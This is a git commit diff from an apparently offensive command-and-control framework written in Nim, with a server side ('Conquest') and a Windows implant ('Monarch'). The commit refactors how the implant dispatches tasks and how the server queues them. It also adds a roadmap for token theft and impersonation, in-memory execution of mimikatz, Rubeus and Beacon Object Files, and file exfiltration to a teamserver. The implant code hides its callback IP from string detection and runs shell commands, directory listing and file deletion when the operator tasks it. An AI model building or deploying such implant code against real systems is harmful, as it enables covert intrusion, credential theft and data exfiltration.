Refactor redundant code for better extensibility with new commands.
This commit is contained in:
42
agents/commands.md
Normal file
42
agents/commands.md
Normal file
@@ -0,0 +1,42 @@
|
||||
# "Monarch" Agent commands:
|
||||
|
||||
House-keeping
|
||||
-------------
|
||||
- [x] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent
|
||||
|
||||
Basic API-only Commands
|
||||
-----------------------
|
||||
- [x] pwd : Get current working directory
|
||||
- [x] cd : Change directory
|
||||
- [x] ls/dir : List all files in directory (including hidden ones)
|
||||
- [x] rm : Remove a file
|
||||
- [x] rmdir : Remove a empty directory
|
||||
- [ ] cat/type : Display contents of a file
|
||||
- [ ] env : Display environment variables
|
||||
- [ ] ps : List processes
|
||||
- [ ] whoami : Get UID and privileges, etc.
|
||||
|
||||
- [ ] token : Token impersonation
|
||||
- [ ] make : Create a token from a user's plaintext password (LogonUserA, ImpersonateLoggedOnUser)
|
||||
- [ ] steal : Steal the access token from a process (OpenProcess, OpenProcessToken, DuplicateToken, ImpersonateLoggedOnUser)
|
||||
- [ ] use : Impersonate a token from the token vault (ImpersonateLoggedOnUser) -> update username like in Cobalt Strike
|
||||
- [ ] rev2self : Revert to original logon session (RevertToSelf)
|
||||
|
||||
Execution Commands
|
||||
------------------
|
||||
- [~] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx)
|
||||
- [ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o)
|
||||
- Read from listener endpoint directly to memory
|
||||
- Base for all kinds of BOFs (Situational Awareness, ...)
|
||||
- [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe)
|
||||
- [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe )
|
||||
|
||||
Post-Exploitation
|
||||
-----------------
|
||||
- [ ] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks)
|
||||
- File to be downloaded moved to specific endpoint on listener, e.g. GET /<listener>/<agent>/<upload-task>/file
|
||||
- Read from webserver and written to disk
|
||||
- [ ] download : Download file from agent to teamserver
|
||||
- Create loot directory for agent to store files in
|
||||
- Read file into memory and send byte stream to specific endpoint, e.g. POST /<listener>/<agent>/<download>-task/file
|
||||
- Encrypt file in-transit!!!
|
||||
@@ -2,7 +2,6 @@ import strformat, os, times
|
||||
import winim
|
||||
|
||||
import ./[types, http, task]
|
||||
import commands/shell
|
||||
|
||||
const ListenerUuid {.strdefine.}: string = ""
|
||||
const Octet1 {.intdefine.}: int = 0
|
||||
@@ -32,6 +31,7 @@ proc main() =
|
||||
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
|
||||
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
|
||||
|
||||
# Create agent configuration
|
||||
var config = AgentConfig(
|
||||
listener: ListenerUuid,
|
||||
ip: address,
|
||||
|
||||
@@ -1,53 +1,32 @@
|
||||
import strutils
|
||||
import strutils, tables
|
||||
import ./types
|
||||
import ./commands/commands
|
||||
|
||||
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
|
||||
|
||||
var taskResult: TaskResult
|
||||
|
||||
let handlers = {
|
||||
ExecuteShell: taskShell,
|
||||
Sleep: taskSleep,
|
||||
GetWorkingDirectory: taskPwd,
|
||||
SetWorkingDirectory: taskCd,
|
||||
ListDirectory: taskDir,
|
||||
RemoveFile: taskRm,
|
||||
RemoveDirectory: taskRmdir
|
||||
}.toTable
|
||||
|
||||
# Handle task command
|
||||
case task.command:
|
||||
|
||||
of ExecuteShell:
|
||||
let taskResult = taskShell(task)
|
||||
echo taskResult.data
|
||||
return taskResult
|
||||
taskResult = handlers[task.command](task)
|
||||
echo taskResult.data
|
||||
|
||||
# Handle actions on specific commands
|
||||
case task.command:
|
||||
of Sleep:
|
||||
# Execute task
|
||||
let taskResult = taskSleep(task)
|
||||
|
||||
# Update sleep delay in agent config
|
||||
if taskResult.status == Completed:
|
||||
config.sleep = parseInt(task.args[0])
|
||||
|
||||
# Return result
|
||||
return taskResult
|
||||
|
||||
of GetWorkingDirectory:
|
||||
let taskResult = taskPwd(task)
|
||||
echo taskResult.data
|
||||
return taskResult
|
||||
|
||||
of SetWorkingDirectory:
|
||||
let taskResult = taskCd(task)
|
||||
echo taskResult.data
|
||||
return taskResult
|
||||
|
||||
of ListDirectory:
|
||||
let taskResult = taskDir(task)
|
||||
echo taskResult.data
|
||||
return taskResult
|
||||
|
||||
of RemoveFile:
|
||||
let taskResult = taskRm(task)
|
||||
echo taskResult.data
|
||||
return taskResult
|
||||
|
||||
of RemoveDirectory:
|
||||
let taskResult = taskRmdir(task)
|
||||
echo taskResult.data
|
||||
return taskResult
|
||||
|
||||
else:
|
||||
echo "Not implemented"
|
||||
return nil
|
||||
discard
|
||||
|
||||
# Return the result
|
||||
return taskResult
|
||||
@@ -1,4 +1,4 @@
|
||||
import winim
|
||||
import winim, tables
|
||||
import ../../server/types
|
||||
export Task, TaskCommand, TaskResult, TaskStatus
|
||||
|
||||
@@ -24,9 +24,9 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
|
||||
wProductType*: UCHAR
|
||||
wReserved*: UCHAR
|
||||
|
||||
type
|
||||
AgentConfig* = ref object
|
||||
listener*: string
|
||||
ip*: string
|
||||
port*: int
|
||||
sleep*: int
|
||||
type
|
||||
AgentConfig* = ref object
|
||||
listener*: string
|
||||
ip*: string
|
||||
port*: int
|
||||
sleep*: int
|
||||
@@ -1,45 +0,0 @@
|
||||
import ./[shell, sleep, filesystem]
|
||||
export shell, sleep, filesystem
|
||||
|
||||
#[
|
||||
"Monarch" Agent commands:
|
||||
|
||||
House-keeping
|
||||
-------------
|
||||
[X] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent
|
||||
|
||||
Basic API-only Commands
|
||||
-----------------------
|
||||
[X] pwd : Get current working directory
|
||||
[X] cd : Change directory
|
||||
[X] ls/dir : List all files in directory (including hidden ones)
|
||||
[ ] cat/type : Display contents of a file
|
||||
[ ] env : Display environment variables
|
||||
[ ] ps : List processes
|
||||
[ ] whoami : Get UID and privileges, etc.
|
||||
|
||||
[ ] token : Token impersonation
|
||||
[ ] make : Create a token from a user's plaintext password (LogonUserA, ImpersonateLoggedOnUser)
|
||||
[ ] steal : Steal the access token from a process (OpenProcess, OpenProcessToken, DuplicateToken, ImpersonateLoggedOnUser)
|
||||
[ ] use : Impersonate a token from the token vault (ImpersonateLoggedOnUser) -> update username like in Cobalt Strike
|
||||
[ ] rev2self : Revert to original logon session (RevertToSelf)
|
||||
|
||||
Execution Commands
|
||||
------------------
|
||||
[~] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx)
|
||||
[ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o)
|
||||
- Read from listener endpoint directly to memory
|
||||
- Base for all kinds of BOFs (Situational Awareness, ...)
|
||||
[ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe)
|
||||
[ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe )
|
||||
|
||||
Post-Exploitation
|
||||
-----------------
|
||||
[ ] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks)
|
||||
- File to be downloaded moved to specific endpoint on listener, e.g. GET /<listener>/<agent>/<upload-task>/file
|
||||
- Read from webserver and written to disk
|
||||
[ ] download : Download file from agent to teamserver
|
||||
- Create loot directory for agent to store files in
|
||||
- Read file into memory and send byte stream to specific endpoint, e.g. POST /<listener>/<agent>/<download>-task/file
|
||||
- Encrypt file in-transit!!!
|
||||
]#
|
||||
@@ -1,87 +0,0 @@
|
||||
import nanoid, sequtils, strutils, strformat, terminal, times
|
||||
import ../../types
|
||||
|
||||
proc taskGetWorkingDirectory*(cq: Conquest) =
|
||||
|
||||
# Create a new task
|
||||
let
|
||||
date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
task = Task(
|
||||
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
|
||||
agent: cq.interactAgent.name,
|
||||
command: GetWorkingDirectory,
|
||||
args: @[],
|
||||
)
|
||||
|
||||
# Add new task to the agent's task queue
|
||||
cq.interactAgent.tasks.add(task)
|
||||
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Tasked agent to get current working directory.")
|
||||
|
||||
proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) =
|
||||
|
||||
# Create a new task
|
||||
let
|
||||
date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
task = Task(
|
||||
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
|
||||
agent: cq.interactAgent.name,
|
||||
command: SetWorkingDirectory,
|
||||
args: arguments,
|
||||
)
|
||||
|
||||
# Add new task to the agent's task queue
|
||||
cq.interactAgent.tasks.add(task)
|
||||
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to change current working directory.")
|
||||
|
||||
proc taskListDirectory*(cq: Conquest, arguments: seq[string]) =
|
||||
|
||||
# Create a new task
|
||||
let
|
||||
date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
task = Task(
|
||||
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
|
||||
agent: cq.interactAgent.name,
|
||||
command: ListDirectory,
|
||||
args: arguments,
|
||||
)
|
||||
|
||||
# Add new task to the agent's task queue
|
||||
cq.interactAgent.tasks.add(task)
|
||||
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to list files and directories.")
|
||||
|
||||
proc taskRemoveFile*(cq: Conquest, arguments: seq[string]) =
|
||||
|
||||
# Create a new task
|
||||
let
|
||||
date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
task = Task(
|
||||
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
|
||||
agent: cq.interactAgent.name,
|
||||
command: RemoveFile,
|
||||
args: arguments,
|
||||
)
|
||||
|
||||
# Add new task to the agent's task queue
|
||||
cq.interactAgent.tasks.add(task)
|
||||
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to remove file.")
|
||||
|
||||
proc taskRemoveDirectory*(cq: Conquest, arguments: seq[string]) =
|
||||
|
||||
# Create a new task
|
||||
let
|
||||
date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
task = Task(
|
||||
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
|
||||
agent: cq.interactAgent.name,
|
||||
command: RemoveDirectory,
|
||||
args: arguments,
|
||||
)
|
||||
|
||||
# Add new task to the agent's task queue
|
||||
cq.interactAgent.tasks.add(task)
|
||||
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to remove directory.")
|
||||
@@ -1,19 +0,0 @@
|
||||
import nanoid, sequtils, strutils, strformat, terminal, times
|
||||
import ../../types
|
||||
|
||||
proc taskExecuteShell*(cq: Conquest, arguments: seq[string]) =
|
||||
|
||||
# Create a new task
|
||||
let
|
||||
date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
task = Task(
|
||||
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
|
||||
agent: cq.interactAgent.name,
|
||||
command: ExecuteShell,
|
||||
args: arguments,
|
||||
)
|
||||
|
||||
# Add new task to the agent's task queue
|
||||
cq.interactAgent.tasks.add(task)
|
||||
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Tasked agent to execute shell command.")
|
||||
@@ -1,28 +0,0 @@
|
||||
import nanoid, sequtils, strutils, strformat, terminal, times
|
||||
import ../../types
|
||||
import ../../db/database
|
||||
|
||||
proc taskExecuteSleep*(cq: Conquest, delay: int) =
|
||||
|
||||
if delay < 0:
|
||||
cq.writeLine(fgRed, styleBright, "[-] Invalid sleep delay value.")
|
||||
return
|
||||
|
||||
# Update 'sleep' value in database
|
||||
if not cq.dbUpdateSleep(cq.interactAgent.name, delay):
|
||||
return
|
||||
|
||||
# Create a new task
|
||||
let
|
||||
date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
task = Task(
|
||||
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
|
||||
agent: cq.interactAgent.name,
|
||||
command: Sleep,
|
||||
args: @[$delay],
|
||||
)
|
||||
|
||||
# Add new task to the agent's task queue
|
||||
cq.interactAgent.tasks.add(task)
|
||||
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Tasked agent to update sleep settings.")
|
||||
@@ -1,5 +1,5 @@
|
||||
import argparse, times, strformat, terminal, nanoid
|
||||
import ./commands/commands
|
||||
import ./task
|
||||
import ../[types]
|
||||
|
||||
#[
|
||||
|
||||
48
server/agent/task.nim
Normal file
48
server/agent/task.nim
Normal file
@@ -0,0 +1,48 @@
|
||||
import nanoid, sequtils, strutils, strformat, terminal, times
|
||||
import ../types
|
||||
import ../db/database
|
||||
|
||||
# Generic task creation procedure
|
||||
proc createTask(cq: Conquest, command: TaskCommand, args: seq[string], message: string) =
|
||||
let
|
||||
date = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
task = Task(
|
||||
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
|
||||
agent: cq.interactAgent.name,
|
||||
command: command,
|
||||
args: args,
|
||||
)
|
||||
|
||||
cq.interactAgent.tasks.add(task)
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message)
|
||||
|
||||
# Agent task functions
|
||||
proc taskExecuteSleep*(cq: Conquest, delay: int) =
|
||||
if delay < 0:
|
||||
cq.writeLine(fgRed, styleBright, "[-] Invalid sleep delay value.")
|
||||
return
|
||||
|
||||
# Update 'sleep' value in database
|
||||
if not cq.dbUpdateSleep(cq.interactAgent.name, delay):
|
||||
return
|
||||
|
||||
# Use the generic createTask function
|
||||
createTask(cq, Sleep, @[$delay], "Tasked agent to update sleep settings.")
|
||||
|
||||
proc taskExecuteShell*(cq: Conquest, arguments: seq[string]) =
|
||||
cq.createTask(ExecuteShell, arguments, "Tasked agent to execute shell command.")
|
||||
|
||||
proc taskGetWorkingDirectory*(cq: Conquest) =
|
||||
cq.createTask(GetWorkingDirectory, @[], "Tasked agent to get current working directory.")
|
||||
|
||||
proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) =
|
||||
cq.createTask(SetWorkingDirectory, arguments, "Tasked agent to change current working directory.")
|
||||
|
||||
proc taskListDirectory*(cq: Conquest, arguments: seq[string]) =
|
||||
cq.createTask(ListDirectory, arguments, "Tasked agent to list files and directories.")
|
||||
|
||||
proc taskRemoveFile*(cq: Conquest, arguments: seq[string]) =
|
||||
cq.createTask(RemoveFile, arguments, "Tasked agent to remove file.")
|
||||
|
||||
proc taskRemoveDirectory*(cq: Conquest, arguments: seq[string]) =
|
||||
cq.createTask(RemoveDirectory, arguments, "Tasked agent to remove directory.")
|
||||
Reference in New Issue
Block a user